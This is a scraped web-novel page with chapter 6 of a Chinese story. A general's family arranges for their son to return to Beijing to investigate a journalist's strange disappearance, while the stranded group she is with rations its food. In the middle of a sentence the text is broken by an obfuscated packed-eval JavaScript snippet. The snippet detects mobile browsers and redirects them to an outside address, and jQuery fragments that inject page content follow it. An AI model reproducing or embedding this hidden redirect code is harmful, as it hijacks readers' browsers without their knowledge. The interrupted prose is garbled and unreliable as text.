默认冷灰
24号文字
方正启体

6. 第 6 章

作者:俺也试试本书字数:K更新时间:
    北京军区某军队高干家属的楼区里,一个头发花白的妇女一改方才的温柔语气,冲着电话大吼:“老头子!快安排锐锐回来,他只给了二十分钟,他要马上回京,你给他请假!”


    刚刚开完会的一个面容严肃法令深刻的老人皱眉头:“胡闹!”


    电话里的声音尖叫了:“什么胡闹?!这是锐锐头一次要求这样,肯定出了事了!他说他自己没事,可他明天就要见一个中科院的物理学家或者大学教授,你也赶快让人安排上!快点快点!我得去买东西,锐锐好不容易回来一趟,我和保姆出门了!”说完电话就挂了。


    佩戴着上将军衔的老军人陆定昆思索了半晌,扭头对身后的军人说:“你马上帮陆锐请假,他需要立刻回京。哦,也联系一位中科院的物理学家或者大学教授,定个明天的见面。”身后的人立正答是。


    虽然这有悖规则,但老人相信自己的儿子。这个儿子天生是军人之才,从小就对军事着迷,不是个拿军队当儿戏的人。儿子既然开口了,还这么急迫,那也肯定是有真的重要的事情。儿子通过一向溺爱孩子的老妻告诉自己,说明儿子现在不想花口舌跟自己解释。这个……陆定昆竟然骂不出“混蛋”这样的话,在他心里,他对这个儿子其实很尊重。他暗叹了口气——陆锐最好真的是有重要的事情,不然自己这么为他请假可是不对的。


    为儿子回京的亲自下场去挑拣海鲜的葛红霞才不会花心思去想老头子的忧虑:儿子从小就不让人操心,他想干的事情一定是对的!自己只管做好吃的就行了!


    年轻时的葛红霞是个军队医院的小护士,俏丽活泼。查房时查到了有着万年铁树心的陆军官,为他例行换点滴和询问病情。当时陆军官正在发着高烧,浑身疼痛,可能是因为陆军官平时很少病,偶尔这么一次被病魔打趴下了,身心实在不适应,脆弱了片刻,铁树难得地开了朵小桃花,落在了小护士身上。


    陆军官虽然年纪大了小护士许多,但小护士觉得这位军官很可靠,就拎个包嫁了,当年不讲什么彩礼嫁妆之类的,成婚后,小护士继续上班,陆军官从军,开始时每年才回来几次。


    谁都没想到这个山中走出来的壮族战士因在Y战中机智勇敢,又好学习,一路提升,最后作为少见的有过战事经历的将官进入了领导层,小护士也成了首长夫人。


    葛红霞生了一个女儿,因丈夫是壮族,在独生子女的年月,三十多岁又生了一个儿子。她精力充沛,干事利索,家事一把抓,陆军人得以安心为国家献身,还没有后顾之忧,儿女双全,心里踏实……


    所以,偶尔——额——经常——总是——只是偶尔!——听老婆话也是可以的吧?


    葛红霞看到陆锐发来短信说已经定了高铁的票,现在正开车前往一个小时外的高铁站,忍不住暗翻白眼:利用完了妈妈就连个电话都懒得打了,这只小白眼狼宝宝!她记起陆锐的另外一个要求,就给自己的女儿打电话。


    葛红霞的女儿陆慧在葛红霞看来和生了个儿子没什么两样。陆慧从小就疯狂地崇拜父亲,拒绝穿裙子或者任何有花朵树叶的衣服,只喜欢穿父亲剩下的那些蓝色绿色的外衣。长大后自己买衣服了,也是那些颜色,根本不鲜艳!在脾气上把父亲偶尔的急躁放大了十倍、百倍,一句话没说完就敢直着嗓子嚷嚷,与冷静沉稳的小儿子没一点相似之处!但话说这个小儿子在性情上不像父亲也不像感性的葛红霞,如果不是儿子在相貌上还是有父母的痕迹,葛红霞真觉得这个儿子抱错了。


    女儿十二三岁就不跟母亲亲近了,说话跟吵架一样,哪里是个小棉袄?是个炸药包还差不多!所以葛红霞很珍惜青春期儿子的静默和至少表面的对父母的尊重。


    女儿在选择学业上也完全不听父母的!竟然选择了历史!出乎所有人的意外,更让平时连历史书都不读的葛红霞完全不能理解!可女儿说什么她“广阔的襟怀只有历史的长河才能相配”,这是人话吗?这不是什么附体了吧?


    不能理解也没办法,只能任女儿一意孤行地上了大学,然后就更没法过活了!葛红霞觉得女儿一说话,那口气里就会透露出一种“你们这些人什么都不懂”的居高临下!把她气得半死!有一次含泪冲女儿喊:“你把你妈气死了有什么好处?我和你爸是世界上唯一在意你的!”


    女儿撇嘴:“这么夸张!您怎么不多读读书?有助开阔眼界和有效思维。您和我爸,两个人,怎么能说是唯一?还有,您的意思,小锐不在意我?!”


    听听!她一点都不尊重父母!一般都是父母让孩子多读书,怎么到了她这里却是反了?!还是少言寡语的儿子好啊!


    这个一脑袋反骨的女儿后来去考了硕士,然后考博士。


    人家这么高的学历,葛红霞只好彻底认栽了,也不和女儿吵架了。


    本来她以为女儿肯定会孤独终老,可女儿二十五岁时竟然开始谈恋爱,然后就对自己有礼貌了,也许爱情真的可以让人变好?


    说来两个人就是自家住的大院外的街上碰上的。那个日后的女婿是个不知深浅的傻孩子,当时正好从他工作的小银行出来去吃午饭,抬眼见一位女性抱着一箱东西在街上走。大太阳下面,女子的脸红通通,都是汗。他不知道这位女性是想锻炼减肥,没告诉父母自己回来,外面的车辆不能进大院,她只是想走回家。他却以为这位可怜的妹子快支持不住了,银行里客服的习惯让他下意识地表示可以帮忙。


    陆慧后来说当时见这个小白脸竟然觉得他挺好看的,就给了他箱子,告诉他自己的家在前面的街区。结果这个小白脸抱着箱子走了二十来步就累得脸更白了,大概也是因为饿的,看着就要昏过去了。陆慧不敢让他再走了,忙表示过意不去,请他在路边的饮食店吃饭喝冷饮。两个人吃完喝完,陆慧说自己已经离家很近了,不让他送了,而小白脸的午饭时间也过去了,就相互留了联络方式。确认小白脸离开了,陆慧自己才自己抱着箱子——她给母亲买的哑铃和绑脚上的沙袋,虽然母亲根本不想用——进了军事大院。


    鉴于这件事,葛红霞才对女儿另眼相看,觉得女儿不是个钢镚儿愣子,多少有些女性情商。


    但她还是断然拒绝了女儿急赤白脸、长篇大论地让她进行力量训练、以免老了摔倒没法爬起来的这种无理要求——我起不来你爸会来扶我啊!他是个军人,到老都会钢筋铁骨的!


    那两个人交往了一年就结婚了,北京的女孩子没要彩礼,但也没说明自己父亲的职位。女婿不是军队中人,只以为读博士的老婆是军人家庭出身,军队的待遇挺好的。两个人就这么糊里糊涂地过日子,现在陆慧已经毕业在一所院校当讲师了,女婿成了银行的贷款经理,两个人有了一个女儿。


    葛红霞于是改了她的偏爱!相比起大龄但依然单身的儿子,女儿真是人生赢家!生活事业双丰收,比自己以前想的过得好多了!她自然早就原谅了女儿当初把自己气得肝疼的种种行径,认为那是人家有个性!还开始经常找女儿商量事,两个人的角色好像调换了……


    “慧慧呀!你帮锐锐去查个人,就是xx杂志社的记者,叫李夏。”


    在办公室正翻阅资料的陆慧其实挺高兴能有个电话让自己从浩瀚的古籍中松弛一下,她问道:“这人是小锐的女朋友?”什么慧慧、锐锐,听着像个幼儿园的小朋友!妈总是这样!矮化成人!小锐就可以了!


    葛红霞忙说:“不是,他说去查一下这个人是不是记者,另外是不是失踪了。唉!锐锐怎么还没有女朋友……”


    陆慧忙哦了一声打断母亲的感叹,带了点儿兴趣说道:“那我这就打电话。”


    葛红霞说:“锐锐说要回来一趟,有空你带着小房和茵茵也来见见他啊。”小房指的是陆慧老公,茵茵是他们的女儿。


    陆慧答应了,挂了电话就在网上查了xx杂志社的号码,立刻就打了过去……


    占线!


    她一连拨了七八次,都是占线。


    陆慧看看表,这个点一般的单位都快下班了,好在这个杂志社就在她所在学院的附近,回家顺路,索性就去一趟。


    等到每个人的水壶都灌满了开水,几个人才回到了车上。李夏见大家情绪稳定,就说:“我们把能吃的东西都拿出来,大家看看有什么。”


    她自己掏了包,拿出了一小块香蕉面包,两个卤蛋,两条五谷棒还有几块巧克力。


    王大栋去司机的座位旁拿出了两盒自热黄焖鸡米饭还有半袋红薯干。


    吕容和阿强拿出了三包方便面还有一袋花生。


    秦莉拿出的东西最多:一小罐奶粉、一盒饼干、半袋面包、一包火腿肠还有一大堆单独包装的各色饼干零食蜜饯糖果鹌鹑蛋,外加一盒果汁,两小瓶酸奶饮料……没办法,带孩子出来不就得带够吃的吗?


    多杰见大家的动作就领悟了,他拿出了一个小包,打开是些粉状成团的东西,指着说:“糌粑。”


    李夏一喜:糌粑是黄油和青稞做的,特别顶饿。


    多杰把小包一推:“给,那个,我不吃……”


    李夏说:“这些东西我建议都交给秦莉,让她来分配。我建议大家不要指望这些度日,我们需要马上学习怎么去野外捕食和搜索可以吃的植物。”


    王大栋点头:“没事,这本来只够我一顿的,还是得去外面找东西才行啊,可惜我们没法吃那只豹子。”


    它不吃了你就不错了。


    吕容强笑:“我反正要减肥的,姐说喝水能活三个星期呢。”


    阿强也说:“是的,到那个时候我们怎么也该能想出办法来了。”


    秦莉本来就哭得眼睛红了,现在又眼含了泪:“我也不会吃的,就让我女儿吃。”


    李夏说:“渐渐断食会舒服点,我建议今晚大家可以分一点点东西,然后明天就开始想办法找吃的吧。”


    人们都点头,秦莉抽着鼻子收拾食品。


    李夏的电话响了,李夏见是组长老王,就走到车的后排听电话。


    老王说:“我报了警了,警察那边说要跟本地的警察局联系才行。我看了你发的那些视频和照片,也看上期的直播回放,我准备去你出事的地点看看,毕竟,我是你的上级。”这事的确有问题!就是为了写稿也得去康康!


    李夏忙说:“谢谢您了!真辛苦您了!”


    老王叹气:“别贫嘴了,刚才有几十个电话打进来,社长副社长全被惊动了,现在办公室的对外电话派了三个人轮流守着。后勤已经给我买了火车票,我这就出发去你出车祸的地方。可网上说那边都堵车了,好像有许多人过去,地方政府像是要阻止人们去,但我有记者证,社里开了介绍信,他们该会让我进去的。”


    他省去了社长副社长都责备他没讲明白——记者没有下落不明,只是不知道自己到了哪里,让大家帮着查找,结果引起了社会的轩然大波!老王咬定自己也不知道具体,只晓得记者没有等到救援。这下社长副社长也同意他出差去调查了。


    李夏感动:“老王!大爷!谢谢谢谢了!”


    老王说:“你最好把这些都写下来,你看人家网播的都还直播呢,你得交稿子。”


    李夏忙说:“一定一定,生命不息,写稿不止!”


    老王郑重:“小孩子家别乱说!去写稿!”


    李夏答应:“是!是!”


    但现在最重要是找吃的好不好?李夏并没有马上写稿,而是在网上百度野外求生的内容,比如怎么设陷阱之类的。她知道现在的情形挺严峻的:她已经觉得饿了,虽然人能活三周,但一周后就会浑身无力,那时怎么去找吃的?必


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17338293|199270||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    须在身体没有垮掉之前获得食物。这种紧迫感该让她很焦虑才对,可她发现在内心深处有种平静:不仅是她到过玄幻的所在,这里的每个人都有超乎现实的经历,他们已经死过一次,不再恐惧死亡。如今只需要在活着的时候,好好做事做人。


    其他人也都刷了半天手机,等天完全黑了,王大栋将珍贵的汽油浇在了一根木棒上弄出了个火把,大家集体出去方便……众人都面朝外拿着铁锹石头等警戒,独留中间的人那啥,场面很尴尬……但这就是生活!


    回来后人们给手机充上电,每个人分到了一点点糌粑,都说美味无比。


    李夏说火不能灭不然明天又得用打火机点火。大家搜了网络,封了火种,把火把插在了地上当路灯。然后人们有的躺在座椅上,有的躺在地板,反正很不舒服!只有秦莉翻出了个小枕头和小被子盖在了女儿身上,大人们都只能和衣而睡。可这一天太惊险了,大家紧抱着双臂,不久就都睡着了。


    谁也不知道午夜后,火把熄灭,豹子又来了,围着汽车转来转去,最后睡在了汽车下面……


    陆慧开车到了杂志社附近就发现警车挡了路,她停了车下车步行前往,发现杂志社前面站了十几个人,都是女孩子们。杂志社大门关着,门外贴了张纸:“李夏同志是我社记者,出差后还没有返回,请各位安心等待,有消息后我社将告知大家。”


    女孩子们议论着:


    哎呀!真有个李夏呀!


    人家真的是记者呢!


    我就说小仙子没有说谎!


    那样的话,她们现在去了哪里?


    ……


    陆慧听得莫名其妙,既然已经得到了消息,她就给妈妈打了个电话告知结果,走回汽车开车回家了。


    陆锐到北京时已经是晚上九点多了,他叫了个滴滴在大院前下了车,走进院门发现路灯下母亲正在来回走。陆锐忙跑过去:“妈!”


    葛红霞笑:“哎呀!你回来啦!我正遛弯呢!”


    陆锐搀着母亲的手臂:“别遛了,回家,爸在家?”


    葛红霞点头抱怨:“我让你爸也下来走走,他就是不动弹!人老腿先老,他一点都不懂养生。我还指望他日后扶我呢……”


    陆锐问:“老爸生气了没?”


    葛红霞看路灯:“当然生气了!耷拉着个脸!晚饭只动了动筷子,因为我让保姆只放了蔬菜,海鲜和红烧肉都等着你来家再上桌……”


    陆锐:这其实没帮到我。


    好像知道了陆锐的忧虑,葛红霞说:“没事!咱们进门就吃饭,他如果饿了自然也会吃,吃饱了不就心情好了?哦,你让我打听的人,我让慧慧帮着问啦,她说杂志社说了,那个叫李夏的记者出差还没有回来。”她叫女儿也是慧慧,可陆锐就没什么想法。


    陆锐沉默着,扶着絮絮叨叨的母亲往家走,思绪因母亲提起杂志社记者又转到了那件事上了。


    他在高铁上看了近几期的直播回放,在这么短的期间作假——乘车冲下公路,然后切换到另一个有完全不同地貌的地点再次开始直播——看着不可能。可如果不是作假,这是怎么回事?


    回到家里,坐在客厅沙发上的父亲果然一脸严肃,但葛红霞像是没看见,招呼着保姆:“摆饭摆菜,我去炒个大虾,锐锐去洗手洗脸,别说什么,先吃饭!”


    看到儿子回来了,陆定昆也觉得可以先吃饭再讨论,毕竟饿到了儿子就不好了,好的军人需要好的体力!


    于是大家不久就围到桌边,很不养生地吃了一顿太晚的饱饭!


    抹干净了油乎乎的嘴,陆定昆示意儿子与自己进了书房,在宽大的书桌边对面坐了,陆定昆接过老婆递过来的淡淡的茶水,慢慢地抿了一口,就是不开口,摆足了首长的架子!


    葛红霞瞪了装腔作势的老头子一眼,给儿子也递过去了茶杯,小声说:“别聊太晚,你跑了一天,累了。”说完又翻眼看一下老头,出了书房去客厅看电视去了。


    陆锐自然不会跟父亲玩看谁先开口的游戏,等母亲一走,马上说:“我发现了一件我解释不了的事情。”


    他大概讲了一下情况,把手机递给父亲。


    陆定昆看完,语速缓慢地问道:“这事和你有什么关系?”


    陆锐想起自己没提何牧把自己扯进去的过程,补充道:“我的一位军校的同学告诉了我,他的老婆女儿就在那里,他已经前往出事地点了。”


    陆定昆停了片刻,再次开口:“所以?这事与你有什么关系?你是个军人。”那又不是你的老婆孩子,你连个女朋友都没有。


    是啊,陆锐是个作战参谋,这事不是日常军事,不是相关战事,和他有什么关系?用得上动用上层的关系来紧急请假吗?


    陆锐想了想,抬眼看父亲:“我觉得这件事情很重要。”


    陆定昆再次问:“重要到什么程度?”


    陆锐闭了下眼睛,也在抿心自问——重要到什么程度?


    陆锐睁开眼:“我只知道我需要马上回京,找科学家谈谈,弄清楚到底发生了什么。”


    等于没有回答。


    陆定昆没有再问,虽然他心里不是很同意儿子的想法,但人都回来了,说什么都没用,让儿子找出真相也不是坏事,毕竟人命关天,那边的几个人怎么都该救出来才好。他告诉陆锐:“人已经给你预约好了,是一位T大学的物理学教授,明天早上九点见,讲明了是一位军人去请教些问题。”


    陆锐说了声谢谢。他的确累了,和父亲说完话就洗漱了准备就寝。临睡前他躺在枕头上再次观看直播回放,几次在那个叫李夏的女记者画面上停留,他觉得这个李夏目光稳定,不像是在撒谎,看着是个大方正派的人……多想无益,明天见到教授再说了。陆锐终于扔了手机,关灯睡觉。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)